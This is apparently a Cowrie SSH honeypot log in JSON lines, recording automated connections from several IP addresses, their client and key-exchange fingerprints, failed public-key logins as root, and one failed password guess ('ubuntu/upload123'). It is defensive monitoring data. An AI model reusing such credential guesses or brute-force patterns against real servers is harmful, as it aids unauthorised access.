{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Xfl260QZJT7WFpqXc2V11jPVSbYbs86fduX4r6Q6cqkKxDNQENxcpqGvas4LrDeOSloG+tmMeKw+dVD/YwOruOMYxyUogedXpEXvqzitlVPxXoMquWF0f4cDq3K7ic11IqZxsObggNCW5mY1HehKgsAq4Ka/XrV0pXcTpNmlMVWl8Q5ufJhM1NulSHzQHCJliQR4k1eNTWmpy78KzA9kjlbfyz1VlC1Q7GXGiRAhigrzehCwBaJc+eA3Xj4sRR7AyniMzE0OaJIE72zhbDHxLB9pWnC/OM/kuvWE+pI8mK1Z5yvPb8/ApqLeBJfZP7dRmbZFgwzPomrjkYU2GXCt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.797575Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Xfl260QZJT7WFpqXc2V11jPVSbYbs86fduX4r6Q6cqkKxDNQENxcpqGvas4LrDeOSloG+tmMeKw+dVD/YwOruOMYxyUogedXpEXvqzitlVPxXoMquWF0f4cDq3K7ic11IqZxsObggNCW5mY1HehKgsAq4Ka/XrV0pXcTpNmlMVWl8Q5ufJhM1NulSHzQHCJliQR4k1eNTWmpy78KzA9kjlbfyz1VlC1Q7GXGiRAhigrzehCwBaJc+eA3Xj4sRR7AyniMzE0OaJIE72zhbDHxLB9pWnC/OM/kuvWE+pI8mK1Z5yvPb8/ApqLeBJfZP7dRmbZFgwzPomrjkYU2GXCt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.802172Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSz2qc14WlfA9NbrB2hUlMNluNXwMG4bA87Ss+Q5QKNEvGtU79YHR/RjS240tv3eWcltwCgbB4DvBPICI4UWI/Kl9jjUgoHkqREIb8m/yvRdgmGCYUe79PgIqvUvGShWsVvz32/Mopn/VqzXWu+p5SHaJYpBQvpVgNCT7jv28qzrFVcLXVb7khDmbWxF5B80bgj1L6KbLOrDkTkA1xM01yHOxu5FuIBDHfBlsaA/v4tQTFBm2KdbszDByfGKcJDPmW3fFIyYC+5D0htaNBYQHiMT16FTem25BI7gLCqGp+N3606qBqXiJy4wGhmfc0uSy5JbwreSNxEXudZG8pMQd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.831508Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSz2qc14WlfA9NbrB2hUlMNluNXwMG4bA87Ss+Q5QKNEvGtU79YHR/RjS240tv3eWcltwCgbB4DvBPICI4UWI/Kl9jjUgoHkqREIb8m/yvRdgmGCYUe79PgIqvUvGShWsVvz32/Mopn/VqzXWu+p5SHaJYpBQvpVgNCT7jv28qzrFVcLXVb7khDmbWxF5B80bgj1L6KbLOrDkTkA1xM01yHOxu5FuIBDHfBlsaA/v4tQTFBm2KdbszDByfGKcJDPmW3fFIyYC+5D0htaNBYQHiMT16FTem25BI7gLCqGp+N3606qBqXiJy4wGhmfc0uSy5JbwreSNxEXudZG8pMQd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.837279Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWm99vY1+rUjXpC8SDc0AZzMXlwJfIw4etv0ZinO2ijMDLQsigpXFo+N0v8U3GjhYn418DwbUsrEYPEJ7AQFLDwWCwuQaPHf0PrSmluXLlt9jgWFrY8vcxIWieeduGg2Sd5VPnzsRihP2G3lOCPwM9BiOJxBJ2c+dUJa2Y5JaLzvcIqTdatWuusDLJk7u+WcwywL0S95cZ+DBx7Q7C3okF08QpgLtrkgWZ3PAAO4J87wlSxA6ezZJSrueWpIj1wR+cUY55Mgg59lCzJl3KnvI/CZOdA5s/AA5To9gwmyJjgkVWg5xUm6CdIG7UpRtlUWYZy468cpJMCPtaYePRLA1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.865468Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWm99vY1+rUjXpC8SDc0AZzMXlwJfIw4etv0ZinO2ijMDLQsigpXFo+N0v8U3GjhYn418DwbUsrEYPEJ7AQFLDwWCwuQaPHf0PrSmluXLlt9jgWFrY8vcxIWieeduGg2Sd5VPnzsRihP2G3lOCPwM9BiOJxBJ2c+dUJa2Y5JaLzvcIqTdatWuusDLJk7u+WcwywL0S95cZ+DBx7Q7C3okF08QpgLtrkgWZ3PAAO4J87wlSxA6ezZJSrueWpIj1wR+cUY55Mgg59lCzJl3KnvI/CZOdA5s/AA5To9gwmyJjgkVWg5xUm6CdIG7UpRtlUWYZy468cpJMCPtaYePRLA1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.870188Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKG2EhJIB06T/HKNaVkb5pRksvR8DvpwHH1VI0s1ixl4cXYRKLmPYiunm5gDMoOPwzcZG42M4eDjZsSv3vfT9+GaI1LBQM+dz+HCf4ysctOlL8ttrtdSKapY19935LXSrkkbxXPUbUrdzhTjYU0O3g3AJ1lEEU3QmeYi8/psiPcdAAAAFQDU474HpVjm8E6XV6z1sl08sno8vwAAAIAju4d2Kw0VrKw7PhP/PnpCJfpvT3dOvxwxrX6a8otLFdl1Bd3T2AImQcJTIwC99G46B8vOxNykjgDznLuHwR9WEFiOnOVwX6yDGx8XgEXj1Wp53qTywkryW1GuYOUgB+aVR272Lp90GXE/Ynv9umFXcz1842PsLf7WHtiOFo0tTwAAAIAQ2csol90j68FYtCRLyVGUasLNFeh5WaWRsWAVg3vVz9jnCZ6vKcVOnTOzRFlkgDYPvcVoIpqiPQ4b6nv1wU/PldRMg4GEpZqUgP0GjccXv9ocozMMko2cvo6xyfsmzet3D2lVimEXoqgAFGPD1uS+ValLp326OMNz3XQZuyHSSg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.899250Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKG2EhJIB06T/HKNaVkb5pRksvR8DvpwHH1VI0s1ixl4cXYRKLmPYiunm5gDMoOPwzcZG42M4eDjZsSv3vfT9+GaI1LBQM+dz+HCf4ysctOlL8ttrtdSKapY19935LXSrkkbxXPUbUrdzhTjYU0O3g3AJ1lEEU3QmeYi8/psiPcdAAAAFQDU474HpVjm8E6XV6z1sl08sno8vwAAAIAju4d2Kw0VrKw7PhP/PnpCJfpvT3dOvxwxrX6a8otLFdl1Bd3T2AImQcJTIwC99G46B8vOxNykjgDznLuHwR9WEFiOnOVwX6yDGx8XgEXj1Wp53qTywkryW1GuYOUgB+aVR272Lp90GXE/Ynv9umFXcz1842PsLf7WHtiOFo0tTwAAAIAQ2csol90j68FYtCRLyVGUasLNFeh5WaWRsWAVg3vVz9jnCZ6vKcVOnTOzRFlkgDYPvcVoIpqiPQ4b6nv1wU/PldRMg4GEpZqUgP0GjccXv9ocozMMko2cvo6xyfsmzet3D2lVimEXoqgAFGPD1uS+ValLp326OMNz3XQZuyHSSg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.903455Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.932385Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.236.136","src_port":54146,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4630f34a05a","protocol":"ssh","message":"New connection: 91.98.236.136:54146 (10.17.0.5:22) [session: d4630f34a05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:09.967193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:09.975038Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.074265Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":50548,"dst_ip":"159.203.135.109","dst_port":22,"session":"4842188059fa","protocol":"ssh","message":"New connection: 165.154.205.91:50548 (159.203.135.109:22) [session: 4842188059fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.400761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.406195Z","src_ip":"165.154.205.91","session":"4842188059fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHT545tP6An9Els0wMLzxzSNEFPq9GDgccxK0FDcSMQ1nIoEMIWg01PBuJBCCZpYjFSc7Jg6PRUDlXqR5tvVM1MbWh8LIEvuPSmWBm2XcA99Ul1Z/XSIJfjM7WAGYpGMEc6FVKU7gDt5QalqtYdtWaAOHwgrnU7sPdyVNuUOMyE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.527699Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHT545tP6An9Els0wMLzxzSNEFPq9GDgccxK0FDcSMQ1nIoEMIWg01PBuJBCCZpYjFSc7Jg6PRUDlXqR5tvVM1MbWh8LIEvuPSmWBm2XcA99Ul1Z/XSIJfjM7WAGYpGMEc6FVKU7gDt5QalqtYdtWaAOHwgrnU7sPdyVNuUOMyE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.532451Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.638289Z","src_ip":"165.154.205.91","session":"4842188059fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Xfl260QZJT7WFpqXc2V11jPVSbYbs86fduX4r6Q6cqkKxDNQENxcpqGvas4LrDeOSloG+tmMeKw+dVD/YwOruOMYxyUogedXpEXvqzitlVPxXoMquWF0f4cDq3K7ic11IqZxsObggNCW5mY1HehKgsAq4Ka/XrV0pXcTpNmlMVWl8Q5ufJhM1NulSHzQHCJliQR4k1eNTWmpy78KzA9kjlbfyz1VlC1Q7GXGiRAhigrzehCwBaJc+eA3Xj4sRR7AyniMzE0OaJIE72zhbDHxLB9pWnC/OM/kuvWE+pI8mK1Z5yvPb8/ApqLeBJfZP7dRmbZFgwzPomrjkYU2GXCt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.645669Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:87:36:da:8e:e0:17:c1:c6:13:7c:21:df:51:e2:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Xfl260QZJT7WFpqXc2V11jPVSbYbs86fduX4r6Q6cqkKxDNQENxcpqGvas4LrDeOSloG+tmMeKw+dVD/YwOruOMYxyUogedXpEXvqzitlVPxXoMquWF0f4cDq3K7ic11IqZxsObggNCW5mY1HehKgsAq4Ka/XrV0pXcTpNmlMVWl8Q5ufJhM1NulSHzQHCJliQR4k1eNTWmpy78KzA9kjlbfyz1VlC1Q7GXGiRAhigrzehCwBaJc+eA3Xj4sRR7AyniMzE0OaJIE72zhbDHxLB9pWnC/OM/kuvWE+pI8mK1Z5yvPb8/ApqLeBJfZP7dRmbZFgwzPomrjkYU2GXCt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.649733Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSz2qc14WlfA9NbrB2hUlMNluNXwMG4bA87Ss+Q5QKNEvGtU79YHR/RjS240tv3eWcltwCgbB4DvBPICI4UWI/Kl9jjUgoHkqREIb8m/yvRdgmGCYUe79PgIqvUvGShWsVvz32/Mopn/VqzXWu+p5SHaJYpBQvpVgNCT7jv28qzrFVcLXVb7khDmbWxF5B80bgj1L6KbLOrDkTkA1xM01yHOxu5FuIBDHfBlsaA/v4tQTFBm2KdbszDByfGKcJDPmW3fFIyYC+5D0htaNBYQHiMT16FTem25BI7gLCqGp+N3606qBqXiJy4wGhmfc0uSy5JbwreSNxEXudZG8pMQd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.746247Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:43:d2:93:53:86:f5:d4:ad:f8:cf:04:2d:72:22:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSz2qc14WlfA9NbrB2hUlMNluNXwMG4bA87Ss+Q5QKNEvGtU79YHR/RjS240tv3eWcltwCgbB4DvBPICI4UWI/Kl9jjUgoHkqREIb8m/yvRdgmGCYUe79PgIqvUvGShWsVvz32/Mopn/VqzXWu+p5SHaJYpBQvpVgNCT7jv28qzrFVcLXVb7khDmbWxF5B80bgj1L6KbLOrDkTkA1xM01yHOxu5FuIBDHfBlsaA/v4tQTFBm2KdbszDByfGKcJDPmW3fFIyYC+5D0htaNBYQHiMT16FTem25BI7gLCqGp+N3606qBqXiJy4wGhmfc0uSy5JbwreSNxEXudZG8pMQd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.750023Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWm99vY1+rUjXpC8SDc0AZzMXlwJfIw4etv0ZinO2ijMDLQsigpXFo+N0v8U3GjhYn418DwbUsrEYPEJ7AQFLDwWCwuQaPHf0PrSmluXLlt9jgWFrY8vcxIWieeduGg2Sd5VPnzsRihP2G3lOCPwM9BiOJxBJ2c+dUJa2Y5JaLzvcIqTdatWuusDLJk7u+WcwywL0S95cZ+DBx7Q7C3okF08QpgLtrkgWZ3PAAO4J87wlSxA6ezZJSrueWpIj1wR+cUY55Mgg59lCzJl3KnvI/CZOdA5s/AA5To9gwmyJjgkVWg5xUm6CdIG7UpRtlUWYZy468cpJMCPtaYePRLA1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.846012Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:73:9e:c9:6d:6e:4b:bd:c1:fb:a3:e8:88:20:2c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWm99vY1+rUjXpC8SDc0AZzMXlwJfIw4etv0ZinO2ijMDLQsigpXFo+N0v8U3GjhYn418DwbUsrEYPEJ7AQFLDwWCwuQaPHf0PrSmluXLlt9jgWFrY8vcxIWieeduGg2Sd5VPnzsRihP2G3lOCPwM9BiOJxBJ2c+dUJa2Y5JaLzvcIqTdatWuusDLJk7u+WcwywL0S95cZ+DBx7Q7C3okF08QpgLtrkgWZ3PAAO4J87wlSxA6ezZJSrueWpIj1wR+cUY55Mgg59lCzJl3KnvI/CZOdA5s/AA5To9gwmyJjgkVWg5xUm6CdIG7UpRtlUWYZy468cpJMCPtaYePRLA1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.849767Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKG2EhJIB06T/HKNaVkb5pRksvR8DvpwHH1VI0s1ixl4cXYRKLmPYiunm5gDMoOPwzcZG42M4eDjZsSv3vfT9+GaI1LBQM+dz+HCf4ysctOlL8ttrtdSKapY19935LXSrkkbxXPUbUrdzhTjYU0O3g3AJ1lEEU3QmeYi8/psiPcdAAAAFQDU474HpVjm8E6XV6z1sl08sno8vwAAAIAju4d2Kw0VrKw7PhP/PnpCJfpvT3dOvxwxrX6a8otLFdl1Bd3T2AImQcJTIwC99G46B8vOxNykjgDznLuHwR9WEFiOnOVwX6yDGx8XgEXj1Wp53qTywkryW1GuYOUgB+aVR272Lp90GXE/Ynv9umFXcz1842PsLf7WHtiOFo0tTwAAAIAQ2csol90j68FYtCRLyVGUasLNFeh5WaWRsWAVg3vVz9jnCZ6vKcVOnTOzRFlkgDYPvcVoIpqiPQ4b6nv1wU/PldRMg4GEpZqUgP0GjccXv9ocozMMko2cvo6xyfsmzet3D2lVimEXoqgAFGPD1uS+ValLp326OMNz3XQZuyHSSg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.948477Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:3a:0a:a4:eb:e3:d5:73:41:66:55:4b:9a:f2:c6:60","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKG2EhJIB06T/HKNaVkb5pRksvR8DvpwHH1VI0s1ixl4cXYRKLmPYiunm5gDMoOPwzcZG42M4eDjZsSv3vfT9+GaI1LBQM+dz+HCf4ysctOlL8ttrtdSKapY19935LXSrkkbxXPUbUrdzhTjYU0O3g3AJ1lEEU3QmeYi8/psiPcdAAAAFQDU474HpVjm8E6XV6z1sl08sno8vwAAAIAju4d2Kw0VrKw7PhP/PnpCJfpvT3dOvxwxrX6a8otLFdl1Bd3T2AImQcJTIwC99G46B8vOxNykjgDznLuHwR9WEFiOnOVwX6yDGx8XgEXj1Wp53qTywkryW1GuYOUgB+aVR272Lp90GXE/Ynv9umFXcz1842PsLf7WHtiOFo0tTwAAAIAQ2csol90j68FYtCRLyVGUasLNFeh5WaWRsWAVg3vVz9jnCZ6vKcVOnTOzRFlkgDYPvcVoIpqiPQ4b6nv1wU/PldRMg4GEpZqUgP0GjccXv9ocozMMko2cvo6xyfsmzet3D2lVimEXoqgAFGPD1uS+ValLp326OMNz3XQZuyHSSg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:10.952541Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:11.061407Z","src_ip":"91.98.236.136","session":"d4630f34a05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload123","message":"login attempt [ubuntu/upload123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:11.593398Z","src_ip":"165.154.205.91","session":"4842188059fa","protocol":"ssh"}
